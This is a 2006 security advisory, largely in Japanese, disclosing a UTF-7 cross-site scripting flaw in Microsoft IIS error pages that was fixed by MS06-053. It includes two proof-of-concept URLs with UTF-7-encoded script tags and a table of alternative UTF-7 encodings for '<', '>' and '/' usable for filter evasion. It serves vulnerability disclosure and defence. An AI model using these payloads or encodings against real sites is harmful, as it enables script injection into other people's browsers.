Title:

Microsoft Internet Information Services UTF-7 XSS Vulnerability

Date:

1 October 2006 (Last modified: 3 October 2006)

Author:

Eiji James Yoshida [ptrs-ejy@bp.iij4u.or.jp]
penetration technique research site [Advisories]

Vulnerable:

Internet Information Services

Bugtraq ID:

19927

Patch:

MS06-053

Overview:

IIS には入力された UTF-7 エンコーディングの文字列を、そのままエラー画面で表示してしまう問題があります。

もしインターネットエクスプローラのエンコードで自動選択が設定されている場合、エラー画面の文字列によっては UTF-7 エンコーディングのスクリプトが正しく処理され、インターネットエクスプローラで悪意のあるスクリプトが実行されてしまうことがあります。

Proof of concept:

http://VulnerableSite/+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://VulnerableSite/+ADw-SCRIPT+AD4-alert('XSS');+ADw-+AC8-SCRIPT+AD4-.ida

UTF-7("<") = +ADw-, +ADx-, +ADy-, +ADz-
UTF-7(">") = +AD4-, +AD5-, +AD6-, +AD7-
UTF-7("/") = +AC8-, +AC9-

Vendor status:

IPA/ISEC には、2005 年 12 月 27 日に報告しました。
マイクロソフトからセキュリティ更新プログラム MS06-053 が 2006 年 9 月 12 日にリリースされました。

Similar vulnerability:

XSS vulnerabilities in Google.com
「インデックス サービスのクロスサイト スクリプティング」 の脆弱性に対する対策 (MS00-084)